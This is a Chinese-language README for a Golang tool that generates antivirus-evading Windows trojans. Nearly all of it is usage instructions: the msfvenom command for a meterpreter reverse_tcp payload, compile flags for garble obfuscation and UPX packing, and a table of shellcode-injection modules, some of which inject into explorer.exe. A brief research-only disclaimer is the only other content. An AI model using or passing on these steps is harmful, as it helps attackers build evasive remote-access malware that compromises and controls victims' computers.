- 详情
- 目录
- 课件1
免责声明
该工具仅用于安全研究,禁止使用工具发起非法攻击等违法行为,造成的后果使用者负责
介绍
Golang
免杀马生成工具(该工具仅针对 Windows
系统)
不确定免杀效果如何,核心部分借鉴大佬的代码然后自己造轮子
准备工作
在 kali
中使用 msfvenom
生成需要的 payload
(注意使用 -f c
参数)
示例:msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=ip lport=port -f c
复制完整 C 语言格式的 shellcode
并写入当前目录的 shellcode.txt
(无需过多处理,内部会对 ShellCode 进行编码)
生成免杀马
在生成免杀马之前请注意以下三件事
- 确保安装
Golang
且环境变量中包含go
否则无法编译 - 请在当前目录先执行
go env -w GO111MODULE=on
然后go mod download
命令下载依赖 - 如果下载依赖过慢配置镜像
go env -w GOPROXY=https://mirrors.aliyun.com/goproxy
一切就绪后就可以开始生成了
示例:
- 使用
CreateThread
模块并删除编译信息:go run main.go -m CreateThread -d
- 删除编译信息且用
garble
混淆源码后编译:go run main.go -m CreateThread -d -g
- 编译后的可执行文件进行
upx
加壳:go run main.go -m CreateThread -d -g -u
可选参数如下
参数 | 参数说明 | 参数类型 | 是否必须 |
---|---|---|---|
-m | 使用模块 | string | 是 |
-s | shellcode 文件(默认 shellcode.txt) | string | 否 |
-d | 使用 ldflags -s -w 进行编译 | bool | 否 |
-r | 使用竞态检测器-race 进行编译(可能提高免杀效果) | bool | 否 |
-w | 隐藏窗口 ldflags -H windowsgui(可能降低免杀效果) | bool | 否 |
-u | 最终生成的 exe 进行 UPX 加壳 | bool | 否 |
-g | 使用 garble 进行编译(对源码进行混淆) | bool | 否 |
-h | 查看帮助信息 | bool | 否 |
其中必须的模块参数如下
模块名 | 简介 |
---|---|
CreateFiber | 利用 Windows CreateFiber 函数 |
CreateProcess | 利用 Windows CreateProcess 函数在挂起状态下创建进程 |
CreateRemoteThread | 远程进程注入 ShellCode(注入 explorer.exe) |
CreateRemoteThreadNative | 和上一条区别在于使用更底层的方式(注入 explorer.exe) |
CreateThread | 利用 Windows CreateThread 函数 |
CreateThreadNative | 和上一条区别在于使用更底层的方式 |
CryptProtectMemory | 利用 Windows dpapi.h CryptProtectMemory 函数 |
CryptUnprotectMemory | 利用 Windows dpapi.h CryptUnprotectMemory 函数 |
EarlyBird | 注入的代码在进程主线程的入口点之前运行 |
EtwpCreateEtwThread | 利用 Windows EtwpCreateEtwThread 函数在进程中执行 ShellCode |
HeapAlloc | 创建一个可供调用进程使用的堆并分配内存写入 ShellCode |
NtQueueApcThreadEx | 在当前进程的当前线程中创建一个特殊用户 APC 来执行 ShellCode |
RtlCreateUserThread | 利用 Windows RtlCreateUserThread 函数(注入 explorer.exe) |
UuidFromStringA | 利用 Windows UuidFromStringA 函数 |